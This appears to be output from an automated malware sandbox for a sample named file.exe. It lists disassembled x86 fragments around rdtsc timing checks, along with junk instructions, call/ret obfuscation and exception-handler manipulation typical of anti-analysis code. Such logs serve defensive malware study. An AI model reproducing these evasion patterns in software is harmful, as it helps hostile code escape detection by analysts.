Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8194B second address: A81982 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov ebx, eax 0x0000000b push 00000000h 0x0000000d mov dword ptr [ebp+122D2617h], eax 0x00000013 push 00000000h 0x00000015 mov dword ptr [ebp+122D1D0Ch], edi 0x0000001b xchg eax, esi 0x0000001c jmp 00007FFBACBC1540h 0x00000021 push eax 0x00000022 pushad 0x00000023 pushad 0x00000024 jnl 00007FFBACBC1536h 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A828CB second address: A828D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A828D0 second address: A828F1 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FFBACBC153Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007FFBACBC153Ah 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A829BA second address: A829CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop ecx 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jnp 00007FFBAD1BEC36h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A829CF second address: A829DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007FFBACBC1536h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A829DC second address: A829E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A81B88 second address: A81B90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A82B6F second address: A82B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A82B73 second address: A82B77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A82B77 second address: A82C15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 jmp 00007FFBAD1BEC42h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007FFBAD1BEC38h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 and ebx, 06E45C80h 0x0000002e push dword ptr fs:[00000000h] 0x00000035 push 00000000h 0x00000037 push edx 0x00000038 call 00007FFBAD1BEC38h 0x0000003d pop edx 0x0000003e mov dword ptr [esp+04h], edx 0x00000042 add dword ptr [esp+04h], 00000014h 0x0000004a inc edx 0x0000004b push edx 0x0000004c ret 0x0000004d pop edx 0x0000004e ret 0x0000004f mov edi, 3C757DDDh 0x00000054 mov edi, dword ptr [ebp+122D3818h] 0x0000005a mov dword ptr fs:[00000000h], esp 0x00000061 movzx edi, ax 0x00000064 mov ebx, dword ptr [ebp+122D3814h] 0x0000006a mov eax, dword ptr [ebp+122D0201h] 0x00000070 add dword ptr [ebp+122D25DCh], edx 0x00000076 push FFFFFFFFh 0x00000078 adc bl, FFFFFFA6h 0x0000007b push eax 0x0000007c push eax 0x0000007d push edx 0x0000007e jnp 00007FFBAD1BEC3Ch 0x00000084 ja 00007FFBAD1BEC36h 0x0000008a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A82C15 second address: A82C1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A83C62 second address: A83C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A83C6C second address: A83CED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 nop 0x00000007 mov bh, cl 0x00000009 push dword ptr fs:[00000000h] 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007FFBACBC1538h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a add dword ptr [ebp+122D1C90h], esi 0x00000030 mov dword ptr fs:[00000000h], esp 0x00000037 jp 00007FFBACBC1538h 0x0000003d mov edi, eax 0x0000003f mov eax, dword ptr [ebp+122D1121h] 0x00000045 jmp 00007FFBACBC1546h 0x0000004a push FFFFFFFFh 0x0000004c mov bx, E974h 0x00000050 nop 0x00000051 jns 00007FFBACBC1544h 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a push ebx 0x0000005b push ebx 0x0000005c pop ebx 0x0000005d pop ebx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A86C5B second address: A86C5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A83CED second address: A83CF7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FFBACBC153Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A86C5F second address: A86C65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84C1A second address: A84CD1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBACBC153Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov edi, dword ptr [ebp+122D3744h] 0x00000012 push dword ptr fs:[00000000h] 0x00000019 xor edi, dword ptr [ebp+122D378Ch] 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 push 00000000h 0x00000028 push edi 0x00000029 call 00007FFBACBC1538h 0x0000002e pop edi 0x0000002f mov dword ptr [esp+04h], edi 0x00000033 add dword ptr [esp+04h], 0000001Bh 0x0000003b inc edi 0x0000003c push edi 0x0000003d ret 0x0000003e pop edi 0x0000003f ret 0x00000040 mov ebx, dword ptr [ebp+122D25E7h] 0x00000046 mov eax, dword ptr [ebp+122D0681h] 0x0000004c adc bx, 43D2h 0x00000051 push FFFFFFFFh 0x00000053 push 00000000h 0x00000055 push ebp 0x00000056 call 00007FFBACBC1538h 0x0000005b pop ebp 0x0000005c mov dword ptr [esp+04h], ebp 0x00000060 add dword ptr [esp+04h], 00000017h 0x00000068 inc ebp 0x00000069 push ebp 0x0000006a ret 0x0000006b pop ebp 0x0000006c ret 0x0000006d and ebx, dword ptr [ebp+122D38DCh] 0x00000073 nop 0x00000074 pushad 0x00000075 jmp 00007FFBACBC1546h 0x0000007a push eax 0x0000007b push edx 0x0000007c jmp 00007FFBACBC1543h 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A86C65 second address: A86C6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84CD1 second address: A84CDE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84CDE second address: A84CE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84CE2 second address: A84CFA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FFBACBC1536h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FFBACBC153Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A872DF second address: A87355 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FFBAD1BEC3Ch 0x00000008 jc 00007FFBAD1BEC36h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007FFBAD1BEC38h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000016h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d ja 00007FFBAD1BEC3Ah 0x00000033 push 00000000h 0x00000035 add bx, C56Bh 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push ebp 0x0000003f call 00007FFBAD1BEC38h 0x00000044 pop ebp 0x00000045 mov dword ptr [esp+04h], ebp 0x00000049 add dword ptr [esp+04h], 0000001Ah 0x00000051 inc ebp 0x00000052 push ebp 0x00000053 ret 0x00000054 pop ebp 0x00000055 ret 0x00000056 or dword ptr [ebp+122D2622h], edi 0x0000005c push eax 0x0000005d push edi 0x0000005e jnl 00007FFBAD1BEC3Ch 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8833F second address: A88356 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FFBACBC1538h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007FFBACBC1536h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A88356 second address: A8835C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8750F second address: A87513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B31A second address: A8B37B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007FFBAD1BEC38h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push edi 0x00000028 call 00007FFBAD1BEC38h 0x0000002d pop edi 0x0000002e mov dword ptr [esp+04h], edi 0x00000032 add dword ptr [esp+04h], 00000015h 0x0000003a inc edi 0x0000003b push edi 0x0000003c ret 0x0000003d pop edi 0x0000003e ret 0x0000003f push 00000000h 0x00000041 push esi 0x00000042 pushad 0x00000043 mov ebx, dword ptr [ebp+122D3674h] 0x00000049 mov dl, 4Dh 0x0000004b popad 0x0000004c pop edi 0x0000004d push eax 0x0000004e jng 00007FFBAD1BEC48h 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B37B second address: A8B37F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8A46B second address: A8A46F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8A46F second address: A8A495 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FFBACBC1536h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f jmp 00007FFBACBC1546h 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8C4DC second address: A8C4F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FFBAD1BEC36h 0x0000000a popad 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push ebx 0x0000000e jc 00007FFBAD1BEC3Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E475 second address: A8E4D9 instructions: 0x00000000 rdtsc 0x00000002 je 00007FFBACBC1549h 0x00000008 jmp 00007FFBACBC1543h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 push 00000000h 0x00000012 mov bx, 2121h 0x00000016 push 00000000h 0x00000018 mov edi, dword ptr [ebp+1247FB9Ah] 0x0000001e xchg eax, esi 0x0000001f pushad 0x00000020 pushad 0x00000021 js 00007FFBACBC1536h 0x00000027 push edx 0x00000028 pop edx 0x00000029 popad 0x0000002a jnc 00007FFBACBC1538h 0x00000030 popad 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 jmp 00007FFBACBC1548h 0x0000003a je 00007FFBACBC1536h 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E4D9 second address: A8E4E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FFBAD1BEC36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F3D2 second address: A8F3D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F3D6 second address: A8F3DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A90307 second address: A9030C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B4EC second address: A8B4F6 instructions: 0x00000000 rdtsc 0x00000002 je 00007FFBAD1BEC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E608 second address: A8E623 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FFBACBC1536h 0x0000000a popad 0x0000000b pop edi 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FFBACBC153Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F571 second address: A8F577 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F577 second address: A8F57B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A92253 second address: A92259 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A92259 second address: A9225D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A95013 second address: A95017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A95017 second address: A95020 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9657B second address: A96585 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FFBAD1BEC36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9C854 second address: A9C860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FFBACBC154Dh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9C19E second address: A9C1A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9FB2B second address: A9FB43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FFBACBC1541h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA31AB second address: AA31B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FFBAD1BEC36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA3351 second address: AA3356 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA3356 second address: AA3376 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FFBAD1BEC43h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA3376 second address: AA337C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA337C second address: AA3396 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jp 00007FFBAD1BEC36h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jp 00007FFBAD1BEC38h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA3396 second address: 8BFA66 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FFBACBC153Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b jmp 00007FFBACBC153Ch 0x00000010 jmp 00007FFBACBC1548h 0x00000015 push dword ptr [ebp+122D0FCDh] 0x0000001b pushad 0x0000001c call 00007FFBACBC153Fh 0x00000021 jg 00007FFBACBC1536h 0x00000027 pop edx 0x00000028 or ax, 30B5h 0x0000002d popad 0x0000002e call dword ptr [ebp+122D1DACh] 0x00000034 pushad 0x00000035 stc 0x00000036 xor eax, eax 0x00000038 cmc 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d mov dword ptr [ebp+122D1B71h], edx 0x00000043 mov dword ptr [ebp+122D3728h], eax 0x00000049 jmp 00007FFBACBC1541h 0x0000004e mov esi, 0000003Ch 0x00000053 jmp 00007FFBACBC1545h 0x00000058 pushad 0x00000059 mov edi, dword ptr [ebp+122D3650h] 0x0000005f mov edx, dword ptr [ebp+122D3804h] 0x00000065 popad 0x00000066 add esi, dword ptr [esp+24h] 0x0000006a jmp 00007FFBACBC1541h 0x0000006f lodsw 0x00000071 mov dword ptr [ebp+122D1B71h], ebx 0x00000077 add eax, dword ptr [esp+24h] 0x0000007b mov dword ptr [ebp+122D1B71h], ebx 0x00000081 mov ebx, dword ptr [esp+24h] 0x00000085 xor dword ptr [ebp+122D1B71h], edx 0x0000008b nop 0x0000008c pushad 0x0000008d push eax 0x0000008e push edx 0x0000008f jng 00007FFBACBC1536h 0x00000095 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA7F3D second address: AA7F55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBAD1BEC3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E793 second address: A2E7C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFBACBC153Eh 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007FFBACBC1546h 0x00000010 jc 00007FFBACBC1536h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA7486 second address: AA749B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007FFBAD1BEC3Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA75F9 second address: AA7609 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FFBACBC1536h 0x0000000a jno 00007FFBACBC1536h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA79FF second address: AA7A0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA7DD7 second address: AA7DF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007FFBACBC1538h 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FFBACBC1542h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB44D second address: AAB457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FFBAD1BEC36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE2BB second address: AAE2BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB19DD second address: AB19E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A738F4 second address: A7395A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FFBACBC1536h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov edi, dword ptr [ebp+122D3840h] 0x00000011 lea eax, dword ptr [ebp+124875F3h] 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007FFBACBC1538h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 00000014h 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 jmp 00007FFBACBC1546h 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007FFBACBC1548h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7395A second address: A73960 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73960 second address: A7396A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FFBACBC153Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73E47 second address: A73E4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73F5F second address: 8BFA66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 nop 0x00000005 jmp 00007FFBACBC1548h 0x0000000a jmp 00007FFBACBC153Eh 0x0000000f push dword ptr [ebp+122D0FCDh] 0x00000015 call 00007FFBACBC1540h 0x0000001a mov ecx, dword ptr [ebp+122D390Ch] 0x00000020 pop edi 0x00000021 sub dword ptr [ebp+122D267Ah], ecx 0x00000027 call dword ptr [ebp+122D1DACh] 0x0000002d pushad 0x0000002e stc 0x0000002f xor eax, eax 0x00000031 cmc 0x00000032 mov edx, dword ptr [esp+28h] 0x00000036 mov dword ptr [ebp+122D1B71h], edx 0x0000003c mov dword ptr [ebp+122D3728h], eax 0x00000042 jmp 00007FFBACBC1541h 0x00000047 mov esi, 0000003Ch 0x0000004c jmp 00007FFBACBC1545h 0x00000051 pushad 0x00000052 mov edi, dword ptr [ebp+122D3650h] 0x00000058 mov edx, dword ptr [ebp+122D3804h] 0x0000005e popad 0x0000005f add esi, dword ptr [esp+24h] 0x00000063 jmp 00007FFBACBC1541h 0x00000068 lodsw 0x0000006a mov dword ptr [ebp+122D1B71h], ebx 0x00000070 add eax, dword ptr [esp+24h] 0x00000074 mov dword ptr [ebp+122D1B71h], ebx 0x0000007a mov ebx, dword ptr [esp+24h] 0x0000007e xor dword ptr [ebp+122D1B71h], edx 0x00000084 nop 0x00000085 pushad 0x00000086 push eax 0x00000087 push edx 0x00000088 jng 00007FFBACBC1536h 0x0000008e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74039 second address: A7403F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A742FC second address: A74337 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FFBACBC153Dh 0x0000000e je 00007FFBACBC1546h 0x00000014 jmp 00007FFBACBC1540h 0x00000019 popad 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jno 00007FFBACBC1536h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74337 second address: A7433D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
